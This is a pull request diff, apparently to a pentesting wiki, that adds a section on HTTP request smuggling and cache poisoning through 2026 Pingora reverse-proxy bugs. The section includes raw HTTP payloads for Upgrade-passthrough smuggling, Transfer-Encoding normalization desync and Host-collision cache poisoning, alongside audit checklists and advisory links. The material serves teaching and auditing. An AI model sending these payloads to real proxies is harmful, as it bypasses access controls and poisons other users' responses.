Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
103 changes: 103 additions & 0 deletions src/pentesting-web/http-request-smuggling/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -905,6 +905,105 @@ def handleResponse(req, interesting):
table.add(req)
```

## Reverse-proxy parsing footguns (Pingora 2026)

Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity.

### Premature `Upgrade` passthrough

If a reverse proxy **switches to raw tunnel / passthrough mode as soon as it sees an `Upgrade` header**, without waiting for the backend to confirm the switch with **`101 Switching Protocols`**, you can smuggle a second request in the same TCP stream:

```http
GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com
```

The front-end parses only the first request, then forwards the rest as raw bytes. The backend parses the appended bytes as a new request from the proxy's trusted IP. This is especially useful to:

- Bypass proxy ACLs, WAF rules, auth checks, and rate limits.
- Reach internal-only endpoints that trust the reverse proxy IP.
- Trigger cross-user response queue poisoning on reused backend connections.

When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`.

### `Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback

Another useful pattern is:

1. The proxy sees that `Transfer-Encoding` is present, so it strips `Content-Length`.
2. The proxy **fails to normalize TE correctly**.
3. The proxy now has **no recognized framing** and falls back to **close-delimited request bodies** for HTTP/1.0.
4. The backend correctly understands TE and treats bytes after `0\r\n\r\n` as a new request.

Common ways to trigger this:

- **Comma-separated TE list not parsed**:

```http
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
```

- **Duplicate TE headers not merged**:

```http
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:
```

The important audit checks are:

- Does the front-end parse the **last** TE token, as required when `chunked` is last?
- Does it use **all** `Transfer-Encoding` headers instead of just the first one?
- Can you force **HTTP/1.0** to trigger a read-until-close body mode?
- Does the proxy ever allow **close-delimited request bodies**? That is a high-value desync smell by itself.

This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**.

### Related cache poisoning primitive: path-only cache keys

The same Pingora audit also exposed a dangerous reverse-proxy cache anti-pattern: deriving the cache key **only from the URI path**, while ignoring **Host**, scheme, or port. In multi-tenant or multi-vhost deployments, different hosts can then collide on the same cache entry:

```http
GET /api/data HTTP/1.1
Host: evil.com
```

```http
GET /api/data HTTP/1.1
Host: victim.com
```

If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**.

When reviewing caches, confirm that the key includes at least:

- `Host` / virtual host identity
- scheme (`http` vs `https`) when behavior differs
- port when multiple applications share the same cache namespace

## Tools

- HTTP Hacker (Burp BApp Store) – visualize concatenation/framing and low‑level HTTP behavior
Expand Down Expand Up @@ -932,6 +1031,10 @@ def handleResponse(req, interesting):
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
- [https://xclow3n.github.io/post/6/](https://xclow3n.github.io/post/6/)
- [https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv)
- [https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7)
- [https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc)


{{#include ../../banners/hacktricks-training.md}}